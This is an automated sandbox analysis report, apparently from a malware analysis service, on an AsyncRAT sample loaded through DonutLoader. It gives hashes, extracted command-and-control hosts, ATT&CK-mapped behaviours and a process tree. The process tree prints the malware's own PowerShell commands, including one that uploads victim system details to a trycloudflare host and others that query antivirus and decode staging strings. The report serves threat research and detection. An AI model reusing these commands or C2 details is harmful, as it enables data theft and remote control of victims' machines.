asyncrat | b2fa2988c6ad45276eaf737416fafb8328d90a452eff47f5ca5b9770f87c87bd

Analysis

max time kernel
148s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
23/04/2026, 15:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
logutil_5tcen6.dll
Size 14KB
Sample260423-s85syshy8t
SHA256 b2fa2988c6ad45276eaf737416fafb8328d90a452eff47f5ca5b9770f87c87bd
MD5 33875da893fcfdffb8d52244229c776f
SHA1 21a65ba0e6298acebb063e04b02d00e3754d6934
SHA512 55b629fc56b39965e703761f76aab75ab8fcc20207e9e61afed1522a96cbaa4dc7f33bb3e28fa07a7b1ea31c3105b9d77f4ffca4045c8c287cbcb35a1628e1a0
SSDEEP 96:ix0flL+u6HgEXyoFl3PvMLsu/B4lFVA2Z8gVsWYyMz17GRbqPe1pt8V+9L+3SbcD:a0NCHgEXJrMZBgVfc1Kc21po+F+4d4L
TLSH
T12362A90E321358E9C54AC5B941EB4B79B6F9B811C9F65B3C4334DA322EB07A5672AE10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

jan 1[26]jan-26 collection defense_evasion discovery execution asyncrat donutloader loader persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

JAN 1[26]

32asinc.duckdns.org:4099
32asinc.duckdns.org:5801

Mutex

QInXiWdKHnTE

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Botnet

JAN-26

chessboard25.pakasak.com:3014
dzonebcp.duckdns.org:3014

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral4/memory/5760-3828-0x0000000002310000-0x0000000002322000-memory.dmp	family_asyncrat
behavioral4/memory/1452-6936-0x000001BD1C500000-0x000001BD1C516000-memory.dmp	family_asyncrat

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral4/memory/3128-0-0x0000000003090000-0x0000000003097000-memory.dmp	family_donutloader

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 4368 created 3128	4368	python.exe	53
PID 4368 created 3128	4368	python.exe	53
PID 4028 created 3128	4028	python.exe	53

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	564	powershell.exe
4	3096	powershell.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1896	powershell.exe
1588	powershell.exe
2112	powershell.exe
2600	powershell.exe
3096	powershell.exe
3404	powershell.exe
564	powershell.exe
4224	powershell.exe
1864	powershell.exe
3052	powershell.exe
2420	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
4368	python.exe
1256	python.exe
5884	python.exe
4028	python.exe

Loads dropped DLL 44 IoCs

pid	Process
4368	python.exe
4368	python.exe
4368	python.exe
4368	python.exe
4368	python.exe
4368	python.exe
4368	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
1256	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
5884	python.exe
4028	python.exe
4028	python.exe
4028	python.exe
4028	python.exe
4028	python.exe
4028	python.exe
4028	python.exe

Accesses Microsoft Outlook profiles 1 TTPs 35 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	explorer.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
3300	tasklist.exe
1464	tasklist.exe
3680	tasklist.exe
2300	tasklist.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1252	chrome.exe

Delays execution with timeout.exe 7 IoCs

defense_evasion

pid	Process
4288	timeout.exe
3188	timeout.exe
5060	timeout.exe
2924	timeout.exe
1844	timeout.exe
5644	timeout.exe
2008	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3847269522-1618051987-1942096715-1000\{E99555FD-2852-414F-B0F0-FBACC6CAA74A}	explorer.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1684	notepad.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
4564	rundll32.exe
4564	rundll32.exe
2420	powershell.exe
2420	powershell.exe
564	powershell.exe
564	powershell.exe
3052	powershell.exe
3052	powershell.exe
1896	powershell.exe
1896	powershell.exe
1864	powershell.exe
1588	powershell.exe
1864	powershell.exe
1588	powershell.exe
2112	powershell.exe
2112	powershell.exe
2600	powershell.exe
3096	powershell.exe
3096	powershell.exe
2600	powershell.exe
3404	powershell.exe
3404	powershell.exe
4368	python.exe
1648	explorer.exe
3376	chrome.exe
3376	chrome.exe
1648	explorer.exe
1648	explorer.exe
2928	chrome.exe
2928	chrome.exe
1648	explorer.exe
4028	python.exe
4224	powershell.exe
4224	powershell.exe
4224	powershell.exe
4224	powershell.exe
4224	powershell.exe
4224	powershell.exe
4224	powershell.exe
4224	powershell.exe
4224	powershell.exe
4224	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3128	Explorer.EXE

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
4368	python.exe
4368	python.exe
4028	python.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeDebugPrivilege	564	powershell.exe
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	1864	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeIncreaseQuotaPrivilege	1864	powershell.exe
Token: SeSecurityPrivilege	1864	powershell.exe
Token: SeTakeOwnershipPrivilege	1864	powershell.exe
Token: SeLoadDriverPrivilege	1864	powershell.exe
Token: SeSystemProfilePrivilege	1864	powershell.exe
Token: SeSystemtimePrivilege	1864	powershell.exe
Token: SeProfSingleProcessPrivilege	1864	powershell.exe
Token: SeIncBasePriorityPrivilege	1864	powershell.exe
Token: SeCreatePagefilePrivilege	1864	powershell.exe
Token: SeBackupPrivilege	1864	powershell.exe
Token: SeRestorePrivilege	1864	powershell.exe
Token: SeShutdownPrivilege	1864	powershell.exe
Token: SeDebugPrivilege	1864	powershell.exe
Token: SeSystemEnvironmentPrivilege	1864	powershell.exe
Token: SeRemoteShutdownPrivilege	1864	powershell.exe
Token: SeUndockPrivilege	1864	powershell.exe
Token: SeManageVolumePrivilege	1864	powershell.exe
Token: 33	1864	powershell.exe
Token: 34	1864	powershell.exe
Token: 35	1864	powershell.exe
Token: 36	1864	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	3096	powershell.exe
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	3300	tasklist.exe
Token: SeDebugPrivilege	1464	tasklist.exe
Token: SeDebugPrivilege	3680	tasklist.exe
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeDebugPrivilege	2300	tasklist.exe
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3376	chrome.exe
3376	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1684	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4564 wrote to memory of 3128	4564	rundll32.exe	53
PID 3128 wrote to memory of 3332	3128	Explorer.EXE	80
PID 3332 wrote to memory of 3652	3332	wscript.exe	81
PID 3652 wrote to memory of 2420	3652	cmd.exe	83
PID 2420 wrote to memory of 3532	2420	powershell.exe	84
PID 3532 wrote to memory of 2124	3532	cmd.exe	86
PID 2124 wrote to memory of 564	2124	cmd.exe	87
PID 3128 wrote to memory of 3364	3128	Explorer.EXE	88
PID 3364 wrote to memory of 4936	3364	wscript.exe	89
PID 4936 wrote to memory of 3052	4936	cmd.exe	91
PID 3052 wrote to memory of 1812	3052	powershell.exe	92
PID 1812 wrote to memory of 4544	1812	cmd.exe	94
PID 4544 wrote to memory of 1896	4544	cmd.exe	95
PID 1812 wrote to memory of 2864	1812	cmd.exe	96
PID 2864 wrote to memory of 1588	2864	cmd.exe	97
PID 3532 wrote to memory of 3016	3532	cmd.exe	98
PID 3016 wrote to memory of 1864	3016	cmd.exe	99
PID 1812 wrote to memory of 3040	1812	cmd.exe	100
PID 3040 wrote to memory of 2112	3040	cmd.exe	101
PID 1812 wrote to memory of 2596	1812	cmd.exe	102
PID 2596 wrote to memory of 2600	2596	cmd.exe	103
PID 3532 wrote to memory of 3096	3532	cmd.exe	104
PID 1812 wrote to memory of 3916	1812	cmd.exe	105
PID 3916 wrote to memory of 3404	3916	cmd.exe	106
PID 1812 wrote to memory of 3300	1812	cmd.exe	107
PID 1812 wrote to memory of 784	1812	cmd.exe	108
PID 1812 wrote to memory of 1464	1812	cmd.exe	110
PID 1812 wrote to memory of 1212	1812	cmd.exe	111
PID 1812 wrote to memory of 3680	1812	cmd.exe	112
PID 1812 wrote to memory of 692	1812	cmd.exe	113
PID 1812 wrote to memory of 2300	1812	cmd.exe	114
PID 1812 wrote to memory of 2416	1812	cmd.exe	115
PID 1812 wrote to memory of 4044	1812	cmd.exe	116
PID 1812 wrote to memory of 844	1812	cmd.exe	117
PID 1812 wrote to memory of 1696	1812	cmd.exe	118
PID 1812 wrote to memory of 644	1812	cmd.exe	119
PID 1812 wrote to memory of 2160	1812	cmd.exe	120
PID 1812 wrote to memory of 4424	1812	cmd.exe	121
PID 1812 wrote to memory of 1764	1812	cmd.exe	122
PID 1812 wrote to memory of 3448	1812	cmd.exe	123
PID 1812 wrote to memory of 2000	1812	cmd.exe	124
PID 1812 wrote to memory of 4288	1812	cmd.exe	125
PID 1812 wrote to memory of 5116	1812	cmd.exe	126
PID 1812 wrote to memory of 4596	1812	cmd.exe	127
PID 1812 wrote to memory of 3188	1812	cmd.exe	128
PID 1812 wrote to memory of 5060	1812	cmd.exe	129
PID 1812 wrote to memory of 4368	1812	cmd.exe	130
PID 1812 wrote to memory of 2924	1812	cmd.exe	131
PID 4368 wrote to memory of 1684	4368	python.exe	132
PID 1812 wrote to memory of 1256	1812	cmd.exe	133
PID 1812 wrote to memory of 1844	1812	cmd.exe	134
PID 1256 wrote to memory of 1648	1256	python.exe	135
PID 1256 wrote to memory of 1648	1256	python.exe	135
PID 1648 wrote to memory of 3376	1648	explorer.exe	136
PID 3376 wrote to memory of 2372	3376	chrome.exe	137
PID 3376 wrote to memory of 2928	3376	chrome.exe	138
PID 3376 wrote to memory of 1252	3376	chrome.exe	139
PID 3376 wrote to memory of 5008	3376	chrome.exe	140
PID 3376 wrote to memory of 2548	3376	chrome.exe	141
PID 3376 wrote to memory of 3372	3376	chrome.exe	142
PID 3376 wrote to memory of 5116	3376	chrome.exe	143
PID 3376 wrote to memory of 3196	3376	chrome.exe	144
PID 3376 wrote to memory of 2844	3376	chrome.exe	145
PID 3376 wrote to memory of 3840	3376	chrome.exe	146

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5528	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3128
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\logutil_5tcen6.dll,#1
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4564
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\Contacts\a25_NSPDRe .vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3332
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\Contacts\NSPDRe .bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3652
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\Contacts\NSPDRe .bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2420
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\Contacts\NSPDRe .bat" hidden
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3532
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "try { (Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing -TimeoutSec 5).Content.Trim() } catch { 'Unknown' }" 2>nul
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "try { (Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing -TimeoutSec 5).Content.Trim() } catch { 'Unknown' }"
        7⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:564
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct 2>$null | Select-Object -First 1 -ExpandProperty displayName" 2>nul
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct 2>$null | Select-Object -First 1 -ExpandProperty displayName"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1864
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$data = '[=== v3 START===]`n[i] AV: None`n[i] Computer: CRRTOJJN`n[i] Username: Admin`n[i] IP: Unknown`n[i] Location: Unknown`n[i] Date & Time: Thu 04/23/2026 16:50:10.64`n[i] No PDF files found`n[i] Script completed' -replace '`n', [Environment]::NewLine; $bytes = [System.Text.Encoding]::UTF8.GetBytes($data); $webclient = New-Object System.Net.WebClient; $webclient.UploadData('https://discretion-barrel-formed-vault.trycloudflare.com/logs/CRRTOJJN_Admin_Thu_04_23_2026_16_50_16.90.log', 'PUT', $bytes)"
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3096
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\Contacts\e6e_das.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3364
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\Contacts\das.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\Contacts\das.bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3052
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\Contacts\das.bat" hidden
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1812
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9jb2xpbi12aWRzLWNpcmN1bGF0aW9uLWhhcnBlci50cnljbG91ZGZsYXJlLmNvbQ=='))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9jb2xpbi12aWRzLWNpcmN1bGF0aW9uLWhhcnBlci50cnljbG91ZGZsYXJlLmNvbQ=='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1896
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('VXBUb0RhdGUudHh0'))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2864
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('VXBUb0RhdGUudHh0'))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1588
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxMy5kb2g='))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxMy5kb2g='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2112
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxM1NCLmZkbg=='))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxM1NCLmZkbg=='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2600
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cHl0aG9uMzEzLnNkbQ=='))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3916
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cHl0aG9uMzEzLnNkbQ=='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
